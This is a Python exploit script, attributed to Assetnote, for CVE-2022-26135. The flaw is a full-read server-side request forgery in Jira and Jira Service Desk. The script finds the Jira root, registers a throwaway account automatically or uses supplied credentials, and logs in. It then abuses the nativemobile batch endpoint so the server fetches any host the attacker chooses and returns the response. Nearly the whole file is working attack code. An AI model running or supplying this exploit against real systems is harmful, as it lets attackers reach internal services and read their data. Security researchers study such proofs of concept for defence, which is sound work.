1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191
| import requests import string import random import argparse from bs4 import BeautifulSoup as bs4 import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser() parser.add_argument("--target", help="i.e. http://re.local:8090", required=True) parser.add_argument("--ssrf", help="i.e. example.com (no protocol pls)", required=True) parser.add_argument("--mode", help="i.e. manual or automatic - manual mode you need to provide user auth info", required=True, default="automatic") parser.add_argument("--software", help="i.e. jira or jsd - only needed for manual mode") parser.add_argument("--username", help="i.e. admin - only needed for manual jira mode") parser.add_argument("--email", help="i.e. [email protected] - only needed for manual jira service desk mode") parser.add_argument("--password", help="i.e. testing123 - only needed for manual mode") args = parser.parse_args()
if args.mode == "manual": if args.software == "": print("[*] please pass in a software (jira / jsd)") if args.software == "jira" and args.email == "" and args.password == "": print("[*] must provide an email and password for jira in manual mode") if args.software == "jsd" and args.username == "" and args.password == "": print("[*] must provide an username and password for jira in manual mode")
banner = """ _ _ _ __ _| |_| | __ _ ___| |_ / _` | __| |/ _` / __| __| | (_| | |_| | (_| \__ \ |_ \__,_|\__|_|\__,_|___/\__|
jira full read ssrf [CVE-2022-26135] brought to you by assetnote [https://assetnote.io] """
print(banner)
proxies = {} session = requests.Session()
def detect_jira_root(target): root_paths = ["/", "/secure/" "/jira/", "/issues/"] jira_found = "" for path in root_paths: test_url = "{}/{}".format(target, path) r = session.get(test_url, verify=False, proxies=proxies) if "ajs-base-url" in r.text: jira_found = path break return jira_found
def get_jira_signup(target, base_path): test_url = "{}{}".format(target, base_path) r = session.get(test_url, verify=False, proxies=proxies) signup_enabled = False if "Signup!default.jspa" in r.text: signup_enabled = True return signup_enabled
def signup_user(target, base_path): test_url = "{}{}secure/Signup!default.jspa".format(target, base_path) test_url_post = "{}{}secure/Signup.jspa".format(target, base_path) r = session.get(test_url, verify=False, proxies=proxies) if 'name="captcha"' in r.text: print("[*] url {} has captchas enabled, please complete flow manually and provide user and password as arg".format(test_url)) return False, {} if "Mode Breach" in r.text: print("[*] url {} has signups disabled, trying JSD approach".format(test_url)) return False, {} html_bytes = r.text soup = bs4(html_bytes, 'lxml') token = soup.find('input', {'name':'atl_token'})['value'] full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6)) email = "{}@example.com".format(full_name) password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP" paramsPost = {"password":password,"Signup":"Sign up","atl_token":token,"fullname":full_name,"email":email,"username":full_name} headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"} cookies = {"atlassian.xsrf.token":token} r = session.post(test_url_post, data=paramsPost, headers=headers, cookies=cookies, verify=False, proxies=proxies) if "Congratulations!" in r.text: print("[*] successful registration") user_obj = {"username": full_name, "password": password, "email": email} return True, user_obj
def register_jsd(target, base_path): register_url = "{}{}servicedesk/customer/user/signup".format(target, base_path) full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6)) email = "{}@example.com".format(full_name) password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP"
rawBody = "{{\"email\":\"{}\",\"fullname\":\"{}\",\"password\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email, full_name, password) headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"} r = session.post(register_url, data=rawBody, headers=headers, verify=False, proxies=proxies) if r.status_code == 204: print("[*] successful registration") user_obj = {"username": full_name, "password": password, "email": email} return True, user_obj print("[*] url {} has non-captcha user/pass signups disabled :(".format(register_url)) register_email_url = "{}{}servicedesk/customer/user/emailsignup".format(target, base_path) rawBody = "{{\"email\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email) r = session.post(register_email_url, data=rawBody, headers=headers, verify=False, proxies=proxies) if r.status_code == 204: print("[*] registration may be possible via emailsignup endpoint") print("[*] you will have to manually exploit this with a real email") print("[*] visit {}".format(register_url)) return False, {} if r.status_code == 400: print("[*] registration may be possible via emailsignup endpoint") print("[*] you will have to manually exploit this with a real email and captcha") print("[*] visit {}".format(register_url)) return False, {} print(r.status_code) return False, {}
def exploit_ssrf_jsd(target, base_path, user_obj, ssrf_host): login_url = "{}{}servicedesk/customer/user/login".format(target, base_path) paramsPost = {"os_password":user_obj["password"],"os_username":user_obj["email"]} headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"} r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies)
if "loginSucceeded" in r.text: print("[*] successful login")
test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path) rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host) headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"} r = session.post(test_url, data=rawBody, headers=headers)
print("Status code: %i" % r.status_code) print("Response body: %s" % r.content)
def exploit_ssrf_jira(target, base_path, user_obj, ssrf_host): login_url = "{}{}login.jsp".format(target, base_path) paramsPost = {"os_password":user_obj["password"],"user_role":"","os_username":user_obj["username"],"atl_token":"","os_destination":"","login":"Log In"} headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"} r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies) if r.headers["X-Seraph-LoginReason"] == "OK": print("[*] successful login")
test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path) rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host) headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"} r = session.post(test_url, data=rawBody, headers=headers)
print("Status code: %i" % r.status_code) print("Response body: %s" % r.content)
user_obj = {}
successful_jira_signup = False successful_jsd_signup = False
jira_root = detect_jira_root(args.target)
if args.mode == "manual" and args.software == "jira": user_obj = {"username": args.username, "password": args.password, "email": args.email} exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)
if args.mode == "manual" and args.software == "jsd": user_obj = {"username": args.username, "password": args.password, "email": args.email} exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)
if args.mode == "automatic": signup_enabled = get_jira_signup(args.target, jira_root) successful_jira_signup, user_obj = signup_user(args.target, jira_root)
if successful_jira_signup == True: exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)
if successful_jira_signup == False: successful_jsd_signup, user_obj = register_jsd(args.target, jira_root) if successful_jsd_signup: exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)
if successful_jira_signup == False and successful_jsd_signup == False: print("[*] sorry boss no ssrf for you today")
|